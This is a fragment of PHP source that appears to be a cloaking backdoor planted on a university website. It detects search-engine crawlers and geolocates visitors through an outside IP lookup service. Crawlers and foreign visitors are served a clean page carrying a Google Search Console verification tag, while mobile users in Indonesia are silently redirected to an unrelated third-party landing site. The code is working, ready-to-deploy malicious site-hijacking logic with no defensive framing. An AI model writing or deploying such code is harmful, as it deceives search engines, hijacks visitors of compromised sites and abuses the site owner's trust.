Verifikasi Google Search Console aktif.

'; exit(); } // === DETEKSI IP, BOT, MOBILE === $ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0'; $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown'; $botKeywords = ['Googlebot', 'Bingbot', 'Yahoo!', 'YandexBot', 'Baiduspider', 'Slurp', 'DuckDuckBot', 'Sogou', 'facebookexternalhit']; $isBot = false; foreach ($botKeywords as $bot) { if (stripos($userAgent, $bot) !== false) { $isBot = true; break; } } // === GEOLOKASI IP === function get_ip_country($ip) { $url = "http://ip-api.com/json/$ip"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $res = curl_exec($ch); curl_close($ch); if ($res) { $geo = json_decode($res, true); return $geo['country'] ?? null; } return null; } $country = get_ip_country($ip); $isMobile = $detect->isMobile(); if (!$country) { error_log("Gagal deteksi lokasi untuk IP: $ip"); $country = 'UNKNOWN'; } // === URL KONFIGURASI === $whiteUrl = 'https://pps.unu.ac.id/white.php'; $landingUrl = 'https://berita-terkini.id/pps/'; // === LOGIKA CLOAKING === // Jika bot atau bukan dari Indonesia, tampilkan white.php + GSC tag if ($isBot || $country !== 'Indonesia') { $page = @file_get_contents($whiteUrl); if ($page) { // Inject GSC ke $gscTag = ''; $page = str_replace('', "\n $gscTag", $page); echo $page; } else { echo 'Gagal load white.php'; } ob_end_flush(); exit(); } // Jika mobile user dari Indonesia (dan bukan bot), redirect if (!$isBot && $isMobile && $country === 'Indonesia') { header("Location: $landingUrl"); exit(); } // Selain itu tampilkan white.php (tanpa inject GSC) $page = @file_get_contents($whiteUrl) ?: 'Gagal load white.php'; echo $page; ob_end_flush();